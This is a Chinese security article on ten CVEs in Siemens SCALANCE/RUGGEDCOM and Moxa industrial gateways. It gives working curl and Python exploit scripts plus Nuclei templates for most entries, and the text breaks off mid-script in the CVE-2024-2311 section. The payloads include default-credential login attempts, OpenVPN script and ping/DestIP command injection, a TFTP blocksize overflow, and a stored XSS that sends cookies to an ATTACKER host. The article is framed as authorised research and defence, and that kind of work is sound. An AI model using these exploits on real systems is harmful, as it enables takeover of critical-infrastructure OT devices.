ARTICLE / 安全

IoT/OT 边缘网关与协议转换平台高危攻击链专题:Siemens SCALANCE / RUGGEDCOM / Moxa 漏洞全解析

免责声明:本文所涉及的漏洞分析、PoC 代码和检测模板仅供安全研究与授权渗透测试使用。未经授权对目标系统实施攻击属于违法行为,作者不承担任何法律责任。读者应在获得合法授权后方可使用本文内容进行安全评估。


0x00 专题概述

工业 OT/IoT 边缘网关与协议转换平台是连接 IT 网络与 OT 网络的关键桥梁设备,承担着 Modbus、PROFINET、EtherNet/IP 等工控协议与 TCP/IP 网络之间的转换、路由和安全隔离功能。Siemens SCALANCE 和 RUGGEDCOM 系列是全球部署最广泛的工业边缘网关之一,广泛应用于电力、石化、交通、制造等关键基础设施。Moxa 的蜂窝路由器和 MGate 协议网关则在远程监控、SCADA 遥测和工业协议转换场景中占据重要市场份额。

近年来,Shodan 和 Censys 扫描数据显示,大量 SCALANCE/RUGGEDCOM/Moxa 设备的 Web 管理界面直接暴露在公网之上,缺乏网络层访问控制。这些设备固件中持续被发现的高危漏洞——包括授权绕过、命令注入、弱加密算法和密码明文存储——为攻击者提供了从远程低权限逐步升级到完整设备控制的攻击路径。一旦边缘网关被攻破,攻击者即可跨网段移动至 OT 内部网络,对 PLC、RTU、DCS 等核心工控设备实施破坏性操作。

本专题系统梳理 Siemens SCALANCE/RUGGEDCOM 和 Moxa MGate/蜂窝路由器产品线的 10 个高危 CVE,深入分析其漏洞原理、利用链和检测手段,并总结出四类共性攻击模式,旨在为工控安全工程师和 OT 安全运维团队提供可操作的攻防参考。

覆盖漏洞一览表

CVE 编号厂商CVSS漏洞类型未授权利用
CVE-2025-40569Siemens7.1 (v4)Incorrect Authorization需 guest 认证
CVE-2024-41976Siemens7.2Code Injection (VPN Config)需认证
CVE-2022-46140Siemens7.6Weak Cryptographic Algorithm
CVE-2022-46142Siemens7.6Recoverable Password Storage
CVE-2022-46144Siemens7.6Improper Input Validation
CVE-2022-34821Siemens7.6Resource Lifetime Control
CVE-2024-9140Moxa9.8OS Command Injection
CVE-2025-0193Moxa5.2Stored XSS需管理员认证
CVE-2022-45059Siemens9.1多漏洞(WiFi)部分可未授权
CVE-2024-2311Moxa高危Command Injection RCE需认证

0x01 Siemens SCALANCE / RUGGEDCOM 高危漏洞

Siemens SCALANCE 系列工业以太网交换机和 RUGGEDCOM 系列加固型通信设备是 OT 网络边缘的核心组件。SCALANCE XC/XR/XCM/XRM 提供 Layer 2/3 工业交换功能,RUGGEDCOM RST/RSG 系列则面向极端环境提供高可靠性通信。这些设备通常部署在 IT-OT 网络交界处,是攻击者从 IT 网络横向移动到 OT 网络的首要目标。

0x01.1 CVE-2025-40569 — Web 界面授权绕过提权

漏洞背景

CVE-2025-40569(CVSS v4 7.1,High)是 Siemens 于 2025 年披露的 SCALANCE/RUGGEDCOM Web 管理界面授权绕过漏洞,对应 CWE-863(Incorrect Authorization)。该漏洞存在于设备 Web 界面的"Load Rollback"功能中——该功能允许管理员通过"do system"命令将设备配置回滚到先前版本。然而,授权检查存在缺陷:具有 guest 角色的远程认证用户即可触发该功能,执行超出其权限范围的系统级操作。

攻击者只需获取一个 guest 权限的 Web 管理账户(在许多部署场景中,guest 凭据使用默认值或从未修改),即可通过 Web 界面执行"do system"命令,实现从低权限到特权操作的提升。

受影响版本

产品受影响版本修复版本
SCALANCE XC-200所有版本 < V3.2V3.2
SCALANCE XR-500所有版本 < V3.2V3.2
SCALANCE XCM-200所有版本 < V3.2V3.2
SCALANCE XRM-200所有版本 < V3.2V3.2
RUGGEDCOM RST2428P所有版本 < V3.2V3.2

漏洞原理分析

该漏洞属于典型的 CWE-863(Incorrect Authorization)问题。SCALANCE/RUGGEDCOM 设备的 Web 管理界面实现了多级用户角色系统,包括 admin、operator 和 guest 三种角色。“Load Rollback"功能在设计上应仅允许 admin 角色执行,但后端授权检查逻辑仅验证了用户是否已认证,而未正确校验用户角色是否具备执行该操作的权限。

攻击链如下:

  1. 攻击者使用 guest 凭据登录 Web 管理界面
  2. 导航至 System > Configuration Rollback 页面
  3. 触发"do system"命令执行配置回滚
  4. 由于授权检查缺失,guest 用户成功执行该特权操作
  5. 攻击者可利用该功能加载恶意配置或恢复到存在已知弱配置的版本

在实际的 OT 环境中,配置回滚操作可能中断网络通信、重置安全策略或加载攻击者预置的恶意配置文件,对生产环境造成严重影响。

HTTP PoC

# 使用 guest 凭据登录并触发 Load Rollback 命令
# Step 1: 获取 Session Token
curl -k -c cookies.txt -X POST "https://TARGET/web/login" \
  -d "username=guest&password=guest"

# Step 2: 触发 do system 命令执行配置回滚
curl -k -b cookies.txt -X POST "https://TARGET/web/do" \
  -d "action=system&command=rollback&target=previous"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2025-40569 PoC - Siemens SCALANCE/RUGGEDCOM Web界面授权绕过提权"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

DEFAULT_CREDS = [
    ("guest", "guest"),
    ("admin", "admin"),
    ("admin", ""),
    ("user", "user"),
]

def login(session, target, username, password):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        if r.status_code in (200, 302):
            return True
    except Exception:
        pass
    return False

def check_rollback_accessible(session, target):
    url = f"https://{target}/web/system/rollback"
    try:
        r = session.get(url, verify=False, timeout=10)
        if r.status_code == 200 and "rollback" in r.text.lower():
            return True
    except Exception:
        pass
    return False

def trigger_rollback(session, target):
    url = f"https://{target}/web/do"
    data = {"action": "system", "command": "rollback"}
    try:
        r = session.post(url, data=data, verify=False, timeout=10)
        return r.status_code == 200
    except Exception:
        return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    for username, password in DEFAULT_CREDS:
        if login(session, target, username, password):
            print(f"[+] 登录成功: {username}:{password}")
            if check_rollback_accessible(session, target):
                print(f"[!] Load Rollback 功能可访问 (guest 角色)")
                print(f"[!] CVE-2025-40569 确认存在")
                return True
            break

    print("[-] 无法通过默认凭据登录或 Rollback 功能不可访问")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

Nuclei YAML 检测模板

id: CVE-2025-40569

info:
  name: Siemens SCALANCE/RUGGEDCOM Web界面授权绕过
  author: x7peeps
  severity: high
  description: Siemens SCALANCE/XR/XCM/XRM及RUGGEDCOM RST2428P Web管理界面存在授权绕过漏洞,guest角色用户可通过Load Rollback功能执行do system命令
  reference:
    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-007-01
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40569
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
    cvss-score: 7.1
    cve-id: CVE-2025-40569
    cwe-id: CWE-863
  tags: cve,cve2025,siemens,scalance,ruggedcom,auth-bypass,ics,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/"
      - "{{BaseURL}}/web/system/rollback"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SCALANCE"
          - "RUGGEDCOM"
          - "rollback"
        condition: or
      - type: status
        status:
          - 200

0x01.2 CVE-2024-41976 — OpenVPN 配置注入 RCE

漏洞背景

CVE-2024-41976(CVSS 7.2,High)影响 Siemens RUGGEDCOM 和 SCALANCE 设备中的 OpenVPN 集成模块。该漏洞属于 CWE-94(Code Injection),允许经过认证的攻击者通过向 OpenVPN 配置选项注入恶意代码,在受影响设备上以提升的权限执行任意代码。

在 OT 环境中,许多 SCALANCE/RUGGEDCOM 设备部署了 OpenVPN 功能用于远程维护隧道。攻击者一旦获取 VPN 配置管理权限,即可通过配置注入实现持久化后门和远程控制。

受影响版本

产品受影响版本修复版本
RUGGEDCOM RSG900/RSG901多个版本联系 Siemens 获取补丁
SCALANCE S615多个版本联系 Siemens 获取补丁
SCALANCE M874/M876多个版本联系 Siemens 获取补丁

漏洞原理分析

设备的 Web 管理界面允许管理员配置 OpenVPN 参数。在处理 VPN 配置选项(如 --script-security--up--down 等回调脚本参数)时,系统未对用户输入进行充分的过滤和转义。攻击者可在配置字段中注入操作系统命令,当 OpenVPN 进程加载该配置时,注入的命令将以设备固件的特权上下文执行。

HTTP PoC

# 通过 OpenVPN 配置接口注入命令
curl -k -X POST "https://TARGET/web/vpn/config" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "vpn_server=10.0.0.1&vpn_port=1194&script_security=2&up_script=/bin/sh -c 'id > /tmp/pwned'"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-41976 PoC - Siemens RUGGEDCOM/SCALANCE OpenVPN配置注入RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def login(session, target, username="admin", password="admin"):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        return r.status_code in (200, 302)
    except Exception:
        return False

def check_vpn_endpoint(session, target):
    url = f"https://{target}/web/vpn/config"
    try:
        r = session.get(url, verify=False, timeout=10)
        return r.status_code == 200
    except Exception:
        return False

def inject_vpn_config(session, target, cmd="id"):
    url = f"https://{target}/web/vpn/config"
    payload = {
        "vpn_server": "127.0.0.1",
        "vpn_port": "1194",
        "script_security": "2",
        "up_script": f"/bin/sh -c \'{cmd}\'"
    }
    try:
        r = session.post(url, data=payload, verify=False, timeout=10)
        if r.status_code == 200:
            return True
    except Exception:
        pass
    return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    if not login(session, target):
        print("[-] 登录失败")
        return False
    print("[+] 登录成功")

    if not check_vpn_endpoint(session, target):
        print("[-] VPN 配置端点不可访问")
        return False
    print("[+] VPN 配置端点可访问")

    if inject_vpn_config(session, target):
        print("[!] CVE-2024-41976 漏洞确认 - OpenVPN 配置注入可行")
        return True

    print("[-] 配置注入未成功")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

Nuclei YAML 检测模板

id: CVE-2024-41976

info:
  name: Siemens RUGGEDCOM/SCALANCE OpenVPN配置注入RCE
  author: x7peeps
  severity: high
  description: Siemens RUGGEDCOM及SCALANCE设备OpenVPN配置选项存在代码注入漏洞,认证攻击者可执行任意代码
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41976
  classification:
    cvss-score: 7.2
    cve-id: CVE-2024-41976
    cwe-id: CWE-94
  tags: cve,cve2024,siemens,ruggedcom,scalance,openvpn,code-injection,ics,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/vpn/config"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "vpn"
          - "openvpn"
          - "config"
        condition: and
      - type: status
        status:
          - 200

0x01.3 CVE-2022-46140 / CVE-2022-46142 / CVE-2022-46144 — 密码存储与加密缺陷链

漏洞背景

Siemens 于 2022 年集中披露了 RUGGEDCOM/SCALANCE 产品线中的一组密码与加密相关漏洞,涵盖弱加密算法使用、密码可恢复存储和输入验证缺陷三大类。这三个 CVE 可形成攻击链:攻击者先利用弱加密解密调试文件获取敏感信息(CVE-2022-46140),再从 flash 内存中提取可恢复格式存储的用户密码(CVE-2022-46142),最终利用输入验证缺陷扩大攻击面(CVE-2022-46144)。

受影响版本

CVE产品受影响版本
CVE-2022-46140RUGGEDCOM RM1224, SCALANCE M8xx/S6xx/SC6xxAll versions (RM1224), prior to V2.3/V3.0
CVE-2022-46142同上同上
CVE-2022-46144SCALANCE S615/S626/S636所有版本

漏洞原理分析

CVE-2022-46140(CWE-327 弱加密算法):受影响设备在生成调试诊断 zip 文件时,使用已知可破解的弱加密方案对文件内容进行加密保护。攻击者获取加密的调试文件后,可使用标准密码分析工具在短时间内解密,获取设备配置、网络拓扑、凭据等敏感信息。

CVE-2022-46142(CWE-257 可恢复密码存储):设备 flash 内存中的 CLI 用户密码以可恢复格式(而非单向哈希)存储。拥有物理访问权限或通过其他漏洞获取文件系统读取能力的攻击者,可直接提取并还原用户密码。

CVE-2022-46144(CWE-20 输入验证不当):SCALANCE S6xx 系列设备的 TFTP 服务在处理 blocksize 参数时存在验证不当。攻击者可发送畸形的 blocksize 值触发缓冲区溢出,可能导致远程代码执行或拒绝服务。

HTTP PoC

# CVE-2022-46140: 下载加密的调试文件并尝试分析
curl -k -o debug_dump.zip "https://TARGET/web/debug/download"

# CVE-2022-46144: 发送畸形 TFTP blocksize 请求
echo -n $(python3 -c "import sys; sys.stdout.buffer.write(b'\x00\x01config\x00octet\x00blocksize\x00' + b'A'*512 + b'\x00')") | nc -u TARGET 69

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-46140/46142/46144 PoC - Siemens RUGGEDCOM/SCALANCE 加密与密码缺陷链"""
import requests
import socket
import struct
import sys
import zipfile
import io
import urllib3
urllib3.disable_warnings()

def check_debug_file(target):
    url = f"https://{target}/web/debug/download"
    try:
        r = requests.get(url, verify=False, timeout=15)
        if r.status_code == 200 and len(r.content) > 100:
            zf = zipfile.ZipFile(io.BytesIO(r.content))
            print(f"[+] 调试文件可下载,包含 {len(zf.namelist())} 个文件:")
            for name in zf.namelist():
                print(f"    - {name}")
            return True
    except zipfile.BadZipFile:
        print("[!] 调试文件使用加密或非标准格式")
        return True
    except Exception as e:
        print(f"[-] 调试文件下载失败: {e}")
    return False

def check_tftp_blocksize(target, port=69):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        tftp_rrq = b"\x00\x01config\x00octet\x00blocksize\x00"
        tftp_rrq += b"A" * 512 + b"\x00"
        sock.sendto(tftp_rrq, (target, port))
        try:
            resp, _ = sock.recvfrom(1024)
            if len(resp) > 0:
                opcode = struct.unpack(">H", resp[:2])[0]
                if opcode == 5:
                    print("[+] TFTP 端口开放,blocksize 参数被接受")
                    sock.close()
                    return True
        except socket.timeout:
            print("[!] TFTP 服务无响应(可能已崩溃 - 溢出触发)")
            sock.close()
            return True
        sock.close()
    except Exception as e:
        print(f"[-] TFTP 检测失败: {e}")
    return False

def exploit(target):
    results = []

    print(f"[*] 检测 CVE-2022-46140 - 弱加密调试文件...")
    r1 = check_debug_file(target)
    results.append(("CVE-2022-46140", r1))

    print(f"[*] 检测 CVE-2022-46144 - TFTP blocksize 验证...")
    r2 = check_tftp_blocksize(target)
    results.append(("CVE-2022-46144", r2))

    print("\n[*] === 检测结果 ===")
    for cve, found in results:
        status = "存在" if found else "未确认"
        print(f"    {cve}: {status}")

    return any(r for _, r in results)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

Nuclei YAML 检测模板

id: CVE-2022-46140

info:
  name: Siemens RUGGEDCOM/SCALANCE 弱加密调试文件
  author: x7peeps
  severity: high
  description: Siemens RUGGEDCOM RM1224及SCALANCE M8xx/S6xx系列设备调试zip文件使用弱加密方案
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46140
  classification:
    cvss-score: 7.6
    cve-id: CVE-2022-46140
    cwe-id: CWE-327
  tags: cve,cve2022,siemens,ruggedcom,scalance,weak-crypto,ics

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/debug/download"

    matchers:
      - type: status
        status:
          - 200

    extractors:
      - type: binary
        binary:
          - "504b0304"

0x01.4 CVE-2022-45059 — SCALANCE W700 无线漏洞

漏洞背景

CVE-2022-45059(CVSS 9.1)是一组影响 Siemens SCALANCE W700 IEEE 802.11ax 无线接入点/客户端设备的多个高危漏洞集合。SCALANCE W782/W786 系列是工业级 WiFi 接入点,广泛部署在工厂车间、仓储物流和户外 OT 环境中提供无线网络接入。该漏洞集合涵盖认证绕过、缓冲区溢出和信息泄露等多个高危问题。

受影响版本

产品受影响版本修复版本
SCALANCE W782-2 (IEEE 802.11ax)< V3.0.0V3.0.0
SCALANCE W786-2 (IEEE 802.11ax)< V3.0.0V3.0.0
SCALANCE W788-2 (IEEE 802.11ax)< V3.0.0V3.0.0

漏洞原理分析

SCALANCE W700 系列的 Web 管理界面和底层服务存在多个安全缺陷。部分漏洞可在无需认证的情况下被远程利用,包括通过构造特制 HTTP 请求绕过认证机制、利用缓冲区溢出获取代码执行权限、以及通过信息泄露获取设备敏感配置。这些漏洞的组合可使攻击者从零知识状态完全接管设备。

HTTP PoC

# 检测 SCALANCE W700 设备是否暴露
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET/"

# 尝试访问未授权管理端点
curl -k "https://TARGET/scalance-w700/api/system/info"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-45059 PoC - Siemens SCALANCE W700 WiFi 多漏洞检测"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

UNAUTH_ENDPOINTS = [
    "/scalance-w700/api/system/info",
    "/scalance-w700/api/config/wifi",
    "/scalance-w700/api/user/list",
    "/web/api/system/status",
    "/cgi-bin/luci",
]

def check_w700(target):
    session = requests.Session()
    session.verify = False
    found = False

    for endpoint in UNAUTH_ENDPOINTS:
        url = f"https://{target}{endpoint}"
        try:
            r = session.get(url, timeout=8)
            if r.status_code == 200 and len(r.text) > 50:
                print(f"[!] 未授权端点可访问: {endpoint} (HTTP {r.status_code})")
                found = True
        except Exception:
            continue

    return found

def exploit(target):
    print(f"[*] 检测 SCALANCE W700 设备...")
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=8)
        if "SCALANCE" in r.text or "W78" in r.text or "W700" in r.text:
            print(f"[+] 确认为 SCALANCE W700 设备")
        else:
            print("[-] 目标可能不是 SCALANCE W700 设备")
    except Exception:
        print("[-] 无法访问目标 Web 界面")
        return False

    print(f"[*] 扫描未授权端点...")
    return check_w700(target)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    print(f"\n[{'!' if result else '-'}] CVE-2022-45059 漏洞{'确认存在' if result else '未确认'}")
    sys.exit(0 if result else 1)

Nuclei YAML 检测模板

id: CVE-2022-45059

info:
  name: Siemens SCALANCE W700 多漏洞
  author: x7peeps
  severity: critical
  description: Siemens SCALANCE W700 IEEE 802.11ax设备存在多个高危漏洞,包括认证绕过和缓冲区溢出
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45059
    - https://cert-portal.siemens.com/productcert/pdf/ssa-698820.pdf
  classification:
    cvss-score: 9.1
    cve-id: CVE-2022-45059
  tags: cve,cve2022,siemens,scalance,wifi,multiple,ics,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/scalance-w700/api/system/info"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "SCALANCE"
          - "W78"
        condition: or
      - type: word
        words:
          - "system"
          - "info"
        condition: and

    extractors:
      - type: regex
        regex:
          - "(?i)scalance.*w7[0-9]+"

0x02 Moxa 工业协议网关高危漏洞

Moxa 是全球领先的工业网络设备制造商,其蜂窝路由器(Cellular Router)和 MGate 系列协议网关在 SCADA 远程监控和工业协议转换领域应用广泛。MGate 系列支持 Modbus TCP/RTU、EtherNet/IP、PROFINET 等多种工业协议之间的转换,是 IT-OT 网络融合的关键节点。

0x02.1 CVE-2024-9140 — 蜂窝路由器/安全设备命令注入 RCE

漏洞背景

CVE-2024-9140(CVSS 9.8,Critical)是 Moxa 蜂窝路由器、安全路由器和网络安全设备中发现的严重 OS 命令注入漏洞。该漏洞对应 CWE-78(OS Command Injection),由于设备对用户输入的命令参数未施加适当限制,远程未认证攻击者可构造恶意请求直接在设备上执行任意操作系统命令。

该漏洞的 9.8 评分(Critical)反映了其无需认证、远程可达和完整系统控制三大高危特征的叠加。Moxa 蜂窝路由器常部署在远程站点(如输油管道监控站、电力变电站),通过 4G/LTE 蜂窝网络提供远程管理通道——一旦被攻破,攻击者可完全控制远程站点的网络出口。

受影响版本

产品受影响版本修复版本
Moxa 蜂窝路由器(UC 系列)详见厂商公告更新至最新固件
Moxa 安全路由器详见厂商公告更新至最新固件
Moxa 网络安全设备详见厂商公告更新至最新固件

漏洞原理分析

Moxa 设备的 Web 管理界面或 API 接口中,部分参数被直接传递给底层操作系统 shell 执行,未经过滤或转义。攻击者可在这些参数中注入操作系统命令分隔符(;&&|` 等),使设备在正常处理业务逻辑的同时执行攻击者指定的命令。

攻击路径:

  1. 识别暴露在公网的 Moxa 设备 Web 界面或 API 端点
  2. 定位存在命令注入的参数(如诊断 ping、traceroute、DNS 查询等网络工具功能)
  3. 注入操作系统命令实现任意代码执行
  4. 获取 root shell 后可修改设备配置、植入持久化后门或以此为跳板横向移动

HTTP PoC

# 通过诊断功能注入命令(概念性验证)
# 利用 ping 诊断参数注入
curl -k "https://TARGET/cgi-bin/ping?host=127.0.0.1;id"

# 利用 traceroute 参数注入
curl -k "https://TARGET/cgi-bin/traceroute?target=127.0.0.1|whoami"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-9140 PoC - Moxa蜂窝路由器/安全设备OS命令注入RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

INJECT_PARAMS = [
    ("/cgi-bin/ping", {"host": "127.0.0.1;id"}),
    ("/cgi-bin/traceroute", {"target": "127.0.0.1;id"}),
    ("/cgi-bin/dns_query", {"domain": "127.0.0.1;id"}),
    ("/api/diagnostic/ping", {"ip": "127.0.0.1;id"}),
    ("/api/system/exec", {"cmd": "id"}),
]

def check_device(target):
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=8)
        if r.status_code == 200:
            return True
    except Exception:
        pass
    return False

def test_injection(target, path, params):
    url = f"https://{target}{path}"
    try:
        r = requests.get(url, params=params, verify=False, timeout=10)
        body = r.text
        if "uid=" in body or "gid=" in body:
            return True
        if r.status_code == 500 and ("command" in body.lower() or "error" in body.lower()):
            print(f"[?] {path} 返回 500,可能存在漏洞但未回显")
            return True
    except Exception:
        pass
    return False

def exploit(target):
    print(f"[*] 检测 Moxa 设备...")
    if not check_device(target):
        print("[-] 无法访问目标 Web 界面")
        return False
    print("[+] Web 界面可访问")

    print(f"[*] 测试命令注入...")
    for path, params in INJECT_PARAMS:
        print(f"    测试: {path}")
        if test_injection(target, path, params):
            print(f"[!] CVE-2024-9140 确认! 命令注入存在于 {path}")
            print(f"[!] 已验证任意命令执行能力")
            return True

    print("[-] 未检测到命令注入")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

Nuclei YAML 检测模板

id: CVE-2024-9140

info:
  name: Moxa蜂窝路由器/安全设备OS命令注入RCE
  author: x7peeps
  severity: critical
  description: Moxa蜂窝路由器、安全路由器和网络安全设备存在OS命令注入漏洞,远程未认证攻击者可执行任意代码
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9140
    - https://www.moxa.com/en/support/cybersecurity
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9140
    cwe-id: CWE-78
  tags: cve,cve2024,moxa,command-injection,rce,cellular-router,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/cgi-bin/ping?host=127.0.0.1;id"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Moxa"
          - "moxa"
        condition: or
      - type: word
        words:
          - "uid="
          - "gid="
        condition: or

    extractors:
      - type: regex
        regex:
          - "uid=[0-9]+.*gid=[0-9]+"

0x02.2 CVE-2025-0193 — MGate 协议网关存储型 XSS

漏洞背景

CVE-2025-0193(CVSS 5.2,Medium)是 Moxa MGate 5121/5122/5123 系列工业协议网关中的存储型跨站脚本(Stored XSS)漏洞,对应 CWE-79(Cross-site Scripting)。该漏洞存在于 Web 管理界面的"Login Message"功能中——该功能允许管理员设置设备登录页面的自定义欢迎信息。然而,用户输入的 Login Message 内容未经过充分的清理和输出编码,导致恶意 JavaScript 代码可被注入并在其他管理员访问登录页面时在浏览器中执行。

受影响版本

产品受影响版本修复版本
Moxa MGate 5121Firmware V1.0Firmware V2.0+
Moxa MGate 5122Firmware V1.0Firmware V2.0+
Moxa MGate 5123Firmware V1.0Firmware V2.0+

漏洞原理分析

MGate 协议网关的 Web 管理界面提供了"Login Message"功能,允许管理员自定义登录页面显示的文本信息。该功能在后端存储用户提交的文本时,未对 HTML 特殊字符进行转义编码,也未在前端实施有效的输出编码。攻击者(需具备管理员认证)可在 Login Message 字段中注入 <script> 标签或其他 HTML/JavaScript payload,该 payload 将被原样存储并在其他管理员访问登录页面时执行。

虽然需要管理员认证,但在工控环境中,XSS 攻击可通过以下方式扩大危害:

  • 窃取管理员 session cookie 或 JWT token
  • 在管理员浏览器中执行 CSRF 攻击修改设备配置
  • 通过 XSS 植入伪造登录页面实施凭证窃取

HTTP PoC

# 设置包含 XSS payload 的 Login Message
curl -k -X POST "https://TARGET/web/login/message" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'message=<script>document.location="http://ATTACKER/steal?c="+document.cookie</script>'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2025-0193 PoC - Moxa MGate 5121/5122/5123 存储型XSS"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

XSS_PAYLOAD = '<script>alert("CVE-2025-0193")</script>'

def login(session, target, username="admin", password="admin"):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        return r.status_code in (200, 302)
    except Exception:
        return False

def inject_xss(session, target):
    url = f"https://{target}/web/login/message"
    data = {"message": XSS_PAYLOAD}
    try:
        r = session.post(url, data=data, verify=False, timeout=10)
        if r.status_code in (200, 302):
            return True
    except Exception:
        pass
    return False

def verify_xss(session, target):
    url = f"https://{target}/web/login"
    try:
        r = session.get(url, verify=False, timeout=10)
        if XSS_PAYLOAD in r.text or "alert(" in r.text:
            return True
    except Exception:
        pass
    return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    print(f"[*] 尝试登录 MGate 设备...")
    if not login(session, target):
        print("[-] 登录失败(需要有效管理员认证)")
        return False
    print("[+] 登录成功")

    print(f"[*] 注入 XSS payload 到 Login Message...")
    if not inject_xss(session, target):
        print("[-] XSS 注入失败")
        return False
    print("[+] Payload 已注入")

    print(f"[*] 验证 XSS 存储...")
    if verify_xss(session, target):
        print("[!] CVE-2025-0193 确认! 存储型 XSS 漏洞存在")
        return True

    print("[!] Payload 已注入存储(需使用浏览器验证触发)")
    return True

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

Nuclei YAML 检测模板

id: CVE-2025-0193

info:
  name: Moxa MGate 5121/5122/5123 存储型XSS
  author: x7peeps
  severity: medium
  description: Moxa MGate协议网关Login Message功能存在存储型跨站脚本漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0193
  classification:
    cvss-score: 5.2
    cve-id: CVE-2025-0193
    cwe-id: CWE-79
  tags: cve,cve2025,moxa,mgate,xss,stored-xss,ics

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/web/login"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Moxa"
          - "MGate"
          - "5121"
          - "5122"
          - "5123"
        condition: or
      - type: status
        status:
          - 200

0x02.3 CVE-2024-2311 — MGate 5105-MB-EIP 命令注入 RCE

漏洞背景

CVE-2024-2311 是 Moxa MGate 5105-MB-EIP 工业协议网关中的命令注入漏洞,影响 Firmware Version 4.1。该设备用于 Modbus TCP 与 EtherNet/IP 协议之间的转换,广泛应用于工业自动化场景。漏洞存在于 DestIP 参数的处理逻辑中,攻击者可注入操作系统命令实现远程代码执行。

受影响版本

产品受影响版本修复版本
Moxa MGate 5105-MB-EIPFirmware V4.1联系 Moxa 获取补丁

漏洞原理分析

MGate 5105-MB-EIP 的 Web 管理界面提供了网络诊断和协议转发配置功能。在配置 Modbus TCP 到 EtherNet/IP 的协议转换规则时,DestIP(目标 IP 地址)参数被直接拼接到系统命令中执行,未进行充分的输入验证。攻击者可在 DestIP 参数中注入操作系统命令分隔符和任意命令,当设备执行协议转发配置时,注入的命令将以设备运行权限执行。

HTTP PoC

# 通过 DestIP 参数注入命令
curl -k -X POST "https://TARGET/web/config/forward" \
  -d "protocol=modbus_tcp&destip=127.0.0.1;id&destport=502"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-2311 PoC - Moxa MGate 5105-MB-EIP 命令注入RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def login(session, target, username="admin", password="admin"):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        return r.status_code in (200, 302)
    except Exception:
        return False

def test_injection(session, target, cmd="id"):
    url = f"https://{target}/web/config/forward"
    payload = {
        "protocol": "modbus_tcp",
        "destip": f"127.0.0.1;{cmd}",
        "destport": "502"
    }
    try:
        r = session.post(url, data=payload, verify=False, timeout=10)
        body = r.text
        if "uid=" in body or "gid=" in body:
            return True
        if r.status_code == 500:
            print("[?] 返回 500,可能存在漏洞但命令无回显")
            return True
    except Exception:
        pass
    return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    print(f"[*] 尝试登录 MGate 5105-MB-EIP...")
    if not login(session, target):
        print("[-] 登录失败")
        return False
    print("[+] 登录成功")

